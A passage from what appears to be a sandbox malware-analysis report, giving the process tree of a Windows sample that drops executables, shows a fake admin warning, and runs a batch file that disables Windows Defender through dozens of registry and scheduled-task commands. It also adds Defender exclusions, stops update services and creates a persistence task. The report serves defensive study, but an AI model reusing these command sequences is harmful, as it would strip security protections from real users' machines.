cQAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      PID:2684
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#nci#>[System.Windows.Forms.MessageBox]::Show('Injection failed! You must run this software as Admin!','','OK','Warning')<#nqz#>;
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3420
    - - C:\Users\Admin\AppData\Local\Temp\Msconf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Msconf.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1200
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2132
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        7⤵
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:4564
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb627e9758,0x7ffb627e9768,0x7ffb627e9778
        8⤵
        
        PID:4036
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2932 --field-trial-handle=2236,i,142881780594833536,18431894468913005475,131072 /prefetch:1
        8⤵
        
        PID:2184
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2912 --field-trial-handle=2236,i,142881780594833536,18431894468913005475,131072 /prefetch:1
        8⤵
        
        PID:4032
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1832 --field-trial-handle=2236,i,142881780594833536,18431894468913005475,131072 /prefetch:8
        8⤵
        
        PID:4960
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1776 --field-trial-handle=2236,i,142881780594833536,18431894468913005475,131072 /prefetch:8
        8⤵
        
        PID:4384
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1604 --field-trial-handle=2236,i,142881780594833536,18431894468913005475,131072 /prefetch:2
        8⤵
        
        PID:1964
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\softprotect.bat" "
        5⤵
        
        PID:3852
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2676
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        6⤵
        
        PID:1692
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        6⤵
        
        PID:4960
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        6⤵
        
        PID:192
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:1268
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:2924
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:3332
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:64
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        6⤵
        Modifies Windows Defender Real-time Protection settings
        
        PID:4932
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        6⤵
        
        PID:3960
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        6⤵
        
        PID:4852
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        6⤵
        
        PID:1564
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
        6⤵
        
        PID:2520
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
        6⤵
        
        PID:4812
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
        6⤵
        
        PID:4332
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
        6⤵
        
        PID:196
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
        6⤵
        
        PID:2480
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
        6⤵
        
        PID:4484
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        6⤵
        
        PID:2960
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        6⤵
        
        PID:972
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
        6⤵
        
        PID:2436
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        6⤵
        
        PID:2552
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
        6⤵
        Modifies registry class
        
        PID:2576
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
        6⤵
        
        PID:336
      - C:\Windows\SysWOW64\reg.exe
        
        reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
        6⤵
        Modifies registry class
        
        PID:4104
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
        6⤵
        
        PID:4292
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
        6⤵
        
        PID:3348
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
        6⤵
        
        PID:1500
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
        6⤵
        
        PID:540
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
        6⤵
        Modifies security service
        
        PID:2100
    - - C:\Users\Admin\AppData\Local\Temp\msvcp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\msvcp.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:3220
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4976
    - - C:\Users\Admin\AppData\Local\Temp\PL.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PL.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:3508
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 264
    3⤵
    - Program crash
    PID:336
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:3980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  PID:4764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffb627e9758,0x7ffb627e9768,0x7ffb627e9778
    3⤵
    PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1612 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:2
    3⤵
    PID:2244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2088 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:8
    3⤵
    PID:5092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:8
    3⤵
    PID:4752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2956 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2936 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4512 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:60
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3348 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:3200
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=3120 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:3424
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4524 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:2064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4940 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:3924
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --mojo-platform-channel-handle=4884 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:4364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4828 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:8
    3⤵
    PID:2940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=1700 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:4896
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:8
    3⤵
    PID:2740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3796 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:3204
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5128 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:8
    3⤵
    PID:1540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=3692 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:3900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4936 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:8
    3⤵
    PID:4808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --mojo-platform-channel-handle=5220 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:3996
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --mojo-platform-channel-handle=1552 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:4732
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --mojo-platform-channel-handle=4852 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:2888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --mojo-platform-channel-handle=4596 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:4284
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --mojo-platform-channel-handle=3120 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:2756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=4360 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:4796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --mojo-platform-channel-handle=5492 --field-trial-handle=1748,i,4494399932427304477,634790621541488461,131072 /prefetch:1
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2884
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4496
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2480
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3428
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5112
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    - Modifies registry class
    PID:336
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4004
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4460
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3144
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4256
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1448
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:1260
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateForcefully"
  2⤵
  PID:1204
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /create /f /tn "GoogleUpdateForcefully" /xml "C:\Users\Admin\AppData\Local\Temp\iwzulyohcyoo.xml"
  2⤵
  - Creates scheduled task(s)
  PID:672
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Drops file in Windows directory
  - Checks SCSI registry key(s)
  PID:4400

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3776

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3988
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -u -p 3988 -s 952
  2⤵
  PID:420

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:4500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:4816

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:664

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
1⤵
PID:1216

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4428

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:216

C:\Windows\system32\ApplicationFrameHost.exe
C:\Windows\system32\ApplicationFrameHost.exe -Embedding
1⤵
PID:2912

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3040

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2816

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2472

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2456

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2416

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2392

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2312

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2216

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2200

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1684

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4252

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4564

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s DeviceAssociationService
1⤵
PID:220
- C:\Windows\system32\dashost.exe
  dashost.exe {de126223-bcc1-4a5c-b432c1b49c9c2592}
  2⤵
  PID:1324

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s PcaSvc
1⤵
PID:4232

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4908

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4348

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:5036

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:4300

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
